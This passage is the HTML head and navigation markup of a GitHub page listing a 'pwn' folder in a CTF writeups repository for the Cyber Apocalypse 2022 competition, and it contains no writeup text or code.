src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-Writeups/Cyber_Apocalypse2022/pwn at main · GonTanaka/CTF-Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="ECDA:87C6:1D19D2E9:1DF993BF:64121B3A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="9bdbb78e2f325c08da5de6d3094b04e4b8de9beb900e92d29dd5d03ded14fa5c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQ0RBOjg3QzY6MUQxOUQyRTk6MURGOTkzQkY6NjQxMjFCM0EiLCJ2aXNpdG9yX2lkIjoiNzA0NjQ0NjM4MTEyOTY2OTQzNCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="067dcc31d56649c0c02b9ec326da7f2d3de23a25419c665a5bccaa9082abaae5" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:437949506" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn at main · GonTanaka/CTF-Writeups" /><meta name="twitter:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta property="og:image:alt" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn at main · GonTanaka/CTF-Writeups" /><meta property="og:url" content="https://github.com/GonTanaka/CTF-Writeups" /><meta property="og:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/GonTanaka/CTF-Writeups git https://github.com/GonTanaka/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="96073448" /><meta name="octolytics-dimension-user_login" content="GonTanaka" /><meta name="octolytics-dimension-repository_id" content="437949506" /><meta name="octolytics-dimension-repository_nwo" content="GonTanaka/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="437949506" /><meta name="octolytics-dimension-repository_network_root_nwo" content="GonTanaka/CTF-Writeups" />
<link rel="canonical" href="https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="437949506" data-scoped-search-url="/GonTanaka/CTF-Writeups/search" data-owner-scoped-search-url="/users/GonTanaka/search" data-unscoped-search-url="/search" data-turbo="false" action="/GonTanaka/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Npwhr700XfugCJtwi0ReWAoalnaWsKVZE/IA4w1fNIMXyfdR1Iu5NlLxOhhWBiw2lIzRHlgo0bhXzckSUNlQlQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
